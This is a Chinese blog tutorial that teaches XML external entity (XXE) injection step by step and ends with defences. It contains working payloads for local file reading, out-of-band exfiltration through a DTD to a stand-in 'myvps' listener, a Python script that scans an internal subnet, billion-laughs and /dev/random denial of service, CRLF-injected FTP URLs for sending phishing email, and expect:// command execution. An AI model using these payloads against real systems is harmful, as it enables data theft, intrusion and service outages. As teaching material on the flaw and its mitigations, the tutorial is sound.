zoukankan      html  css  js  c++  java
  • xxe的升级之旅

    一.什么是xxe

    既然这篇文章说的是xxe的升级之旅,那么什么是xxe呢?

    其实xxe也是一类注入漏洞,英文全名即Xml External Entity Injection,即我们所说的xml外部实体注入攻击。因为实体可以通过预定义在文档中被调用,而实体的标识符又可以访问本地或者远程内容,当允许引用外部实体时,攻击者便可以构造恶意内容来达到攻击。

    二.基础简介

    可能有些人看了上面一堆名词后不知所云,什么xxe,xml,什么外部实体,不用急,我们现在就来慢慢升级。

    level 0

    xml
    首先要先说下xml。xml是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种写法类似于html语言的数据格式文档。但是xml跟html是为不同目的而设计的,html旨在显示数据信息,而xml旨在传输数据信息。

    DTD
    跟xml格式相关的就是这个叫dtd(document type definition )的东西了,这个dtd的作用就是去定义xml文档的合法构建模块,也就是说声明了xml的内容格式规范。

    dtd有两种声明方式:

    • 1.内部dtd:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。

    • 2.外部dtd:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

    让我们来看一下内部dtd的xml示例:

    <!--XML声明--><?xml version="1.0" encoding="UTF-8"?><!--DTD,文档类型声明-->          
    <!DOCTYPE note [<!ELEMENT note (body)><!ELEMENT body (#PCDATA)><!ENTITY writer "hello word">        ]>
    <!--文档元素-->                                                                         
    <note><body>&writer</body></note>
    

    我们就dtd的内容一个一个来看,

    !DOCTYPE note 定义此文档是 note 类型的文档。

    !ELEMENT note 定义 note 元素有一个元素:”body”

    !ELEMENT body 定义 body 元素为 “#PCDATA” 类型

    !ENTITY writer “hello world”(第七行)定义了一个内部实体
    也就是说,这样的dtd就定义了xml的根元素是note,然后根元素下有一个body子元素,而且body元素的类型为“#PCDATA”,这样的定义就固定了文档元素的内容格式,而后面body元素里的“&writer”就是对内部实体的一个引用,到输出的时候&writer就会被”hello world“替换,这样说来应该就能大概明白了。

    上面我们说的就是一个内部实体的例子,而我们重点在于外部实体,毕竟我们要讲的就是外部实体注入,下面我们再来看一个引用外部实体的例子:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
    <root>  
    <body>&xxe</body>
    </root>
    

    !ELEMENT foo ANY (第三行)定义元素为ANY,即可以接受任何元素。
    !ENTITY xxe SYSTEM “file:///c:/test.dtd”(第四行)定义了一个外部实体
    这里样义文档就会对c:/test.dtd文件资源进行引用,这是一种用SYSTEM关键字的引用方式,还有一种用PUBLIC引用公用DTD的方式:
    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

    通过以上例子,我们可以理解为一个实体其实就是一个变量。

    但是实际上实体不止这一种,实体有四种,而我们以上的实体是其中的一种通用实体。

    这里列一下:

    • 内置实体 (Built-in entities)
    • 字符实体 (Character entities)
    • 通用实体 (General entities)
    • 参数实体 (Parameter entities)
      其中内置实体和字符实体都和html的实体编码类似,有十进制和十六进制。

    而通用实体我们已经大概了解了,就是刚才那两个例子那样的,下面我们再讲一个参数实体的dtd例子:

    <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
    通过这个dtd我们可以看出来区别,就是这里实体名前面有个“%”,而在通用实体中是没有的,并且只能在dtd中使用% 实体名,有不同也有相同的地方,和通用实体一样,参数实体也可以外部引用 dtd。所以这里的重点就是参数实体只能在dtd中使用,引用。

    三.xxe的利用

    level 1

    前面已经大概介绍了外部实体的作用和运用,下面我们开始进入主题,那么xxe能干什么呢?

    通过上面外部实体的例子:

    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
    
    <root>
        <body>&xxe</body>
    </root>
    

    有些基础的小伙伴应该马上就能想到一种漏洞利用:任意文件读取

    为了呈现直观一点,我在本地搭了一个环境:

    xml.php

    <?php
    
        libxml_disable_entity_loader (false);
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
        $creds = simplexml_import_dom($dom);
        echo $creds;
    
    ?>
    

    payload:

    
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY xxe SYSTEM "file:///c:/windows/system.ini"> ]> 
    <creds>&xxe;</creds>
    

    这个payload就是尝试去读取我本地的c:/windows/system.ini文件,接下来post试下

    结果如下:

    可以看到成功读取出了system.ini文件中的内容。

    至此我们已经简单复现了xxe一种最简单的利用。

    level 2

    上面我们成功读取了system.ini文件中的内容,可能有的的小伙伴去复现的时候,读取其他文件的时候就有可能发现读取不了,会报错,这是什么原因呢?我们接下来再说一下这种情况。

    如果会报错,原因可能就是文件中有一些特殊符号,比如说“<”,“>”,“&”等等这些符号,在引用的时候也给xml解析器解析了,因此就会报错,从而读取失败。

    来模拟一下这种场景,新建一个test.txt

    12343545423#information
    
    
    <info>sslicve<for>
    test <content>
    

    内容如上,然后读取一下看看:

    确实是什么都读不出来,还报了一堆错。

    那这种情况怎么解决呢?

    这时候就需要认识一个新名词并且会用,就是“CDATA”

    也就是说,我们可以将脚本代码定义为“CDATA”,CDATA 部分中的所有内容就会被解析器忽略,也就可以继续愉快地读取文件了。

    我们来试试,把payload修改为

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE roottag [
    <!ENTITY start "<![CDATA[
    <!ENTITY % xxe SYSTEM "file:///d:/test.txt"> ]]> 
    ">]
    % xxe;
    >  
    
    <roottag>&start</roottag>
    

    这样payload看起来好像没什么问题,但其实拿这个payload去打还是一样读取不出来。

    xml解析器有个限制就是不能在内部Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。

    既然内部不行,那如果我把那内容换到外部呢?试试来

    修改payload:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE root [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % go SYSTEM "file:///d:/test.txt">  
    <!ENTITY % end "]]>">  
    <!ENTITY % dtd SYSTEM "http://myvps/evil.dtd"> 
    %dtd; ]> 
    
    <root>&all;</root>
    

    同时在我的vps上放一个evil.dtd,内容为:

    <!ENTITY all "%start;%go;%end;">

    ok到这里终于没再出错了。

    level 3

    实际上现在有回显的xxe已经很少了,接下来我们就来想办法在没有xxe回显的情况下怎么利用。

    既然没有回显数据,那我们就要想办法让服务器自己把数据往外带。

    其实在level 2中应该就能想到了,既然外部实体能够请求外部url资源内容,也就是说可以访问外面url,这样的话我们可以写两个外部参数实体,第一个用来请求本地数据内容,第二个用http协议或者其他协议把请求到的数据作为参数带到我们的vps,这样就实现了数据外带了。

    payload:

    <?xml version="1.0"?>
    <!DOCTYPE message [    
          <!ENTITY % remote SYSTEM "http://myvps/xml.dtd">      
          <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/test.txt">    
     %remote;%send;]>
    <message>1234</message>
    

    xml.dtd

    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myvps:1111/?%file;'>">%start;
    同时在vps上开启nc监听1111端口,接受数据

    ok成功把数据带出来了,这里要补充的一点是,在xml.dtd中,之所以要把“%”转成html实体编码是因为在实体的值中不能有“%”,所以也就只能转成&#x25了。

    level 4

    接下来也越来越好玩了,因为上面我们讲到的利用都只是任意文件读取,而xxe漏洞的利用远不止这些。

    比如说,xxe由于可以访问外部url,也就有类似ssrf的攻击效果,同样的,也可以利用xxe来进行内网探测。

    可以先通过file协议读取一些配置文件来判断内网的配置以及规模,以便于编写脚本来探测内网。

    一个python脚本实例:

    import requests
    import base64
    
    #Origtional XML that the server accepts
    #<xml>
    #    <stuff>user</stuff>
    #</xml>
    
    
    def build_xml(string):
        xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
        xml = xml + "
    " + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
        xml = xml + "
    " + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
        xml = xml + "
    " + """<xml>"""
        xml = xml + "
    " + """    <stuff>&xxe;</stuff>"""
        xml = xml + "
    " + """</xml>"""
        send_xml(xml)
    
    def send_xml(xml):
        headers = {'Content-Type': 'application/xml'}
        x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
        coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
        print coded_string
    #   print base64.b64decode(coded_string)
    for i in range(1, 255):
        try:
            i = str(i)
            ip = '192.168.1.' + i
            string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
            print string
            build_xml(string)
        except:
            print "error"
    continue
    

    运行起来大概是这样

    既然可以主机探测了,那么内网主机端口探测也是类似的思路。

    level 5
    除了可以内网探测,还可以DOS攻击。。

    比如说:

    
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
      <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
      <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
      <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
      <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
      <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
    

    此payload测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。

    如果目标是UNIX系统,

    
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ 
      <!ELEMENT foo ANY >
      <!ENTITY xxe SYSTEM "file:///dev/random" >]>
    <foo>&xxe;</foo>
    

    这段payload会让xml解析器尝试使用/dev/random文件中的内容来替代实体,所以这个示例会直接使UNIX系统服务器崩溃。

    level 6
    还有比较好玩的玩法,当然了这个需要在特定类型的场景中运用,比如说xxe还可以运用于钓鱼。

    (以下实例来源于freebuf中的一篇文章)

    如果内网中有一台存在CRLF注入漏洞的SMTP服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人,这样就伪造了信息源,造成钓鱼 。

    Java支持在sun.net.ftp.impl.FtpClient中的ftp URI,因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令。

    但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令:

    
    ftp://a%0D%0A
    EHLO%20a%0D%0A
    MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
    RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
    DATA%0D%0A
    From%3A%20support%40VULNERABLESYSTEM.com%0A
    To%3A%20victim%40gmail.com%0A
    Subject%3A%20test%0A
    %0A
    test!%0A
    %0D%0A
    .%0D%0A
    QUIT%0D%0A
    :a@VULNERABLESYSTEM.com:25
    

    当FTP客户端使用此URL连接时,以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器:

    
    ftp://a
    EHLO a
    MAIL FROM: <support@VULNERABLESYSTEM.com>
    RCPT TO: <victim@gmail.com>
    DATA
    From: support@VULNERABLESYSTEM.com
    To: victim@gmail.com
    Subject: Reset your password
    We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
    .
    QUIT
    :support@VULNERABLESYSTEM.com:25
    

    这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件。

    level 7
    最吸引人的还是RCE了,那么问题来了,xxe能RCE吗?

    答案是可以的,不过还是那句话,在特定场景下。

    由于PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE 。

    示例代码:

    <!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
    <dir>
    <file>&cmd;</file>
    </dir>
    

    四.如何防御

    方案一 使用开发语言提供的禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);
    java:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    
    .setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
    
    .setFeature("http://xml.org/sax/features/external-general-entities",false)
    
    .setFeature("http://xml.org/sax/features/external-parameter-entities",false);
    

    python:

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    

    方案二 黑名单过滤关键字

    当然直接过滤掉用户提交的xml数据中的关键词也是可以的,

    比如说:SYSTEM和PUBLIC

    总结

    这篇文章我从简单的xml的基础知识开始整理,以升级的方式从xxe的相关基础到花式利用进行介绍,有些地方限于文章篇幅就没有再继续深入,当然了xxe相关利用或者技巧肯定不限于我整理的这几个方面,比如说xxe还可以结合jar协议进行上传文件,不过笔者对这方面不是很熟也就没有去复盘。文章中若有错误的地方,请各位大牛指正。

    参考链接:

    https://xz.aliyun.com/t/3357

    https://www.freebuf.com/vuls/207639.html

    https://security.tencent.com/index.php/blog/msg/69

    https://www.freebuf.com/vuls/194112.html

    https://www.runoob.com/xml/xml-cdata.html

    http://www.mottoin.com/detail/738.html

    http://www.w3cschool.cn/dtd

    https://www.freebuf.com/articles/web/177979.html

    https://www.freebuf.com/column/188849.html

    乐观的悲观主义者。
  • 相关阅读:
    GCD实现多个定时器,完美避过NSTimer的三大缺陷(RunLoop、Thread、Leaks)
    iOS适配UIViewView/WKWebView,H5生成长图,仿微信进度条
    翻译jquery官方的插件制作方法
    javascript引用和赋值
    薯片公司真实JS面试题(乐视TV)
    caller、call、apply、callee的用法和意思
    常用javascript类型判断
    Git 常用命令笔记(不定期持续记录)
    sublime text2 emmet 安装
    hash"#"
  • 原文地址:https://www.cnblogs.com/v1ntlyn/p/13549877.html
Copyright © 2011-2022 走看看